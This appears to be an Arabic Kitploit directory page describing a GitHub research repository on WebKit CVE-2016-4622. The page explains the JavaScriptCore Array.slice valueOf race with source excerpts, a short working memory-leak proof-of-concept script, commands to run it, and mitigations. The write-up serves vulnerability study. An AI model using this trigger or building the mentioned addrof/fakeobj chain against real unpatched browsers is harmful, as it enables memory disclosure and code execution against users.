Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
WebKit-CVE-2016-4622 — رحلتي في عملية استغلال ثغرة WebKit CVE-2016-4622 | Kitploit
أدوات/GitHubGitHub/hdbreaker/webkit-cve-2016-4622
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubhdbreaker/webkit-cve-2016-4622

WebKit-CVE-2016-4622

رحلتي في عملية استغلال ثغرة WebKit CVE-2016-4622

عرض المستودع
235منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تحليل WebKit CVE-2016-4622: غوص عميق في ثغرة المسار السريع لـ Slice ValueOf

تحليل شامل واستغلال ثغرة WebKit JavaScript Core التي تمكن من كشف الذاكرة من خلال التلاعب بـ Array.slice

جدول المحتويات

  • الملخص التنفيذي
  • نظرة عامة على الثغرة
  • إعداد بيئة البحث
  • التحليل الفني
  • شرح الاستغلال خطوة بخطوة
  • النتائج الرئيسية
  • الموارد والمراجع

الملخص التنفيذي

يحتوي هذا المستودع على تحليل شامل لـ CVE-2016-4622، وهي ثغرة خطيرة في كشف الذاكرة في محرك JavaScript Core في WebKit. تنشأ الثغرة من حالة سباق (race condition) في تنفيذ Array.slice() يمكن استغلالها لتسريب محتويات الذاكرة المجاورة، لتكون أساسًا لأدوات استغلال أكثر تطورًا مثل addrof و fakeobj.

التأثير: كشف الذاكرة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد محتمل المكون المتأثر: WebKit JavaScript Core (JSC) السبب الجذري: ثغرة زمن التحقق مقابل زمن الاستخدام (TOCTOU) في تنفيذ fastSlice


نظرة عامة على الثغرة

المشكلة الأساسية

توجد الثغرة في 'المسار السريع' المحسّن في WebKit لطريقة Array.slice(). عند معالجة معاملات القطعة (slice parameters)، يقوم المحرك بتحويل وسائط الكائنات إلى قيم أولية عن طريق استدعاء طريقة valueOf() الخاصة بها. يحدث هذا التحويل بعد تحديد معاملات عملية القطعة ولكن قبل عملية نسخ الذاكرة الفعلية.

ناقل الهجوم

root@kitploit:~
var a = [];
for (var i = 0; i < 100; i++)
    a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
print(b);

ما يحدث:

  1. يتم إنشاء المصفوفة a بـ 100 عنصر
  2. أثناء معالجة معاملات القطعة، يتم استدعاء valueOf()
  3. يقوم valueOf() الخبيث بتقليص المصفوفة إلى طول 0
  4. يحاول memcpy نسخ 10 عناصر من مصفوفة فارغة
  5. النتيجة: يتم نسخ الذاكرة المجاورة، مما يسبب كشف معلومات

إعداد بيئة البحث

هيكل المستودع

root@kitploit:~
WebKit-CVE-2016-4622/
├── Saelo-Exploit-CVE-2016-4622/    # Reference implementation by Saelo
├── Exploit/                        # Custom exploitation attempts
│   ├── poc-memleak.js             # Memory leak proof-of-concept
│   └── slice_over_array.js        # Educational examples
├── WebKit-SRC-CVE-2016-4622/     # Vulnerable source code (commit 320b1fc)
├── WebKit-Bins/                   # Compiled binaries for testing
│   ├── Debug/                     # Debug build with symbols
│   └── ASAN/                      # AddressSanitizer enabled build
└── Screenshoots/                  # Visual documentation

بيئة الاختبار

الملفات الثنائية: ملفات JSC ثنائية مُجمَّعة مسبقًا على VMWare OSX 10.11 باستخدام XCode 7.3.2 البنية: ملفات تنفيذية x86_64 Mach-O ميزات التصحيح: الرموز + AddressSanitizer لتحليل شامل

تشغيل إثبات المفهوم

root@kitploit:~
cd WebKit-Bins/Debug
export DYLD_FRAMEWORK_PATH=$(pwd)
./jsc ../../Exploit/poc-memleak.js

# Expected output showing memory leak:
# 0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0

التحليل الفني

فهم آلية Array.slice()

تقوم طريقة Array.slice(begin, end) بإنشاء نسخة سطحية من جزء من مصفوفة. في الظروف العادية:

root@kitploit:~
var array = ['a', 'b', 'c', 'd'];
var subset = array.slice(1, 3);  // Returns ['b', 'c']

الرؤية الأساسية: يخضع المعامل end لتحويل النوع عبر valueOf()، مما يخلق نافذة للاستغلال.

تحليل مكدس الاستدعاءات

عند تشغيل الثغرة، يلتقط AddressSanitizer تدفق الاستدعاء هذا:

root@kitploit:~
#0  memcpy-param-overlap detected
#1  JSC::JSArray::fastSlice()
#2  JSC::arrayProtoFuncSlice()
#3  JavaScript execution context

تحليل مكدس الاستدعاء

غوص عميق: تحليل دالة تلو الأخرى

1. arrayProtoFuncSlice() - نقطة الدخول

الموقع: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:848-887

root@kitploit:~
EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    JSObject* thisObj = exec->thisValue().toThis(exec, StrictMode).toObject(exec);
    unsigned length = getLength(exec, thisObj);  // Initial length: 100
    
    // Critical: Parameter conversion happens here
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end = argumentClampedIndexFromStartOrEnd(exec, 1, length, length);
    
    // Fast path determination
    std::pair<SpeciesConstructResult, JSObject*> speciesResult = 
        speciesConstructArray(exec, thisObj, end - begin);
    
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath && isJSArray(thisObj))) {
        // Vulnerability triggers here
        if (JSArray* result = asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }
    // ... fallback implementation
}

2. argumentClampedIndexFromStartOrEnd() - محفز التحويل

الموقع: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/ArrayPrototype.cpp:224-236

root@kitploit:~
static inline unsigned argumentClampedIndexFromStartOrEnd(ExecState* exec, int argument, unsigned length, unsigned undefinedValue = 0)
{
    JSValue value = exec->argument(argument);
    if (value.isUndefined())
        return undefinedValue;

    // CRITICAL: This is where valueOf() gets called
    double indexDouble = value.toInteger(exec);
    
    if (indexDouble < 0) {
        indexDouble += length;
        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length : static_cast<unsigned>(indexDouble);
}

حالة السباق:

  • عند معالجة المعامل الثاني {valueOf: function() { a.length = 0; return 10; }}
  • يستدعي value.toInteger(exec) دالة valueOf() الخبيثة لدينا
  • تقوم دالتنا بتعديل طول المصفوفة من 100 إلى 0
  • لكن معاملات عملية القطعة (begin=0, end=10) تظل دون تغيير

3. fastSlice() - حيث يحدث تلف الذاكرة

الموقع: WebKit-SRC-CVE-2016-4622/Source/JavaScriptCore/runtime/JSArray.cpp:692-720

root@kitploit:~
JSArray* JSArray::fastSlice(ExecState& exec, unsigned startIndex, unsigned count)
{
    auto arrayType = indexingType();
    switch (arrayType) {
    case ArrayWithDouble:
    case ArrayWithInt32:
    case ArrayWithContiguous: {
        // ... setup code ...
        
        auto& resultButterfly = *resultArray->butterfly();
        if (arrayType == ArrayWithDouble)
            // VULNERABILITY: Reads beyond array bounds
            memcpy(resultButterfly.contiguousDouble().data(), 
                   m_butterfly.get()->contiguousDouble().data() + startIndex, 
                   sizeof(JSValue) * count);
        // ...
    }
}

تلف الذاكرة:

  • startIndex = 0، count = 10
  • طول المصفوفة الآن 0 (تم تعديله بواسطة valueOf())
  • يقرأ memcpy 10 قيم JSValue بدءًا من الفهرس 0
  • نظرًا لأن المصفوفة فارغة، فإن هذا يقرأ ذاكرة الكومة المجاورة
  • النتيجة: ثغرة كشف معلومات

شرح الاستغلال خطوة بخطوة

تدفق الهجوم خطوة بخطوة

  1. مرحلة الإعداد

    root@kitploit:~
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.123);
    
    • يتم إنشاء مصفوفة من نوع ArrayWithDouble بـ 100 عنصر
    • العناصر مخزنة بشكل متجاور في الذاكرة
  2. مرحلة التشغيل

    root@kitploit:~
    var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
    
    • بدء عملية القطعة مع كائن خبيث كمعامل نهاية
    • يمر التحقق من المسار السريع (تبدو المصفوفة طبيعية)
  3. مرحلة الاستغلال

    • تحويل المعامل يستدعي valueOf()
    • تم تقليص طول المصفوفة إلى 0
    • يحاول fastSlice نسخ 10 عناصر من مصفوفة فارغة
    • تسرب الذاكرة المجاورة إلى مصفوفة النتيجة
  4. النتيجة

    root@kitploit:~
    0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0
    
    • القيمتان الأوليتان: بيانات مصفوفة مشروعة
    • القيم المتبقية: ذاكرة مجاورة مسربة

تمثيل بصري

root@kitploit:~
Before valueOf():  [0.123][1.123][2.123]...[99.123] (length=100)
After valueOf():   [] (length=0)
memcpy reads:      [0.123][1.123][LEAKED][LEAKED][LEAKED]...

النتائج الرئيسية

تحليل السبب الجذري

أدوات الاستغلال

تعمل هذه الثغرة كأساس لـ:

  • كشف المعلومات: قدرة تسريب ذاكرة مباشر
  • تجاوز ASLR: كشف محتمل لتخطيط مساحة العنوان
  • الخلط بين الأنواع: إعداد لأدوات addrof/fakeobj

اعتبارات دفاعية

استراتيجيات التخفيف:

  • التحقق من حدود المصفوفة قبل عمليات memcpy
  • تنفيذ فحص حالة متسق في المسارات السريعة
  • إضافة التحقق من الحدود في وقت التشغيل للعمليات المحسّنة

الموارد والمراجع

الأبحاث والمقالات

  • مهاجمة محركات JavaScript - Saelo (Phrack)
  • تحليل CVE-2016-4622 - TuringH
  • تحليل غوص عميق - null2root
  • دروس استغلال WebKit

الوثائق الفنية

  • Array.slice() - وثائق ويب MDN
  • رمز مصدر WebKit
  • هندسة JavaScript Core

الأدوات والبيئة

  • الالتزام الثغري: 320b1fc3f6f
  • بيئة البناء: VMWare OSX 10.11, XCode 7.3.2
  • أدوات التحليل: AddressSanitizer, GDB, JSC Debug Builds

الجدول الزمني للبحث: 11-12 أبريل 2020
الحالة: التحليل مكتمل ✅
الخطوات التالية: تطوير سلسلة استغلال كاملة باستخدام أدوات addrof/fakeobj

تنزيل الأداة
المكونالمشكلةالتأثير
معالجة المعاملاتTOCTOU في argumentClampedIndexFromStartOrEndيسمح بتعديل الحالة أثناء المعالجة
منطق المسار السريعالتحقق غير الكافي في fastSliceيتجاوز فحص الحدود
عمليات الذاكرةmemcpy غير مراقب في نسخ المصفوفةكشف ذاكرة مباشر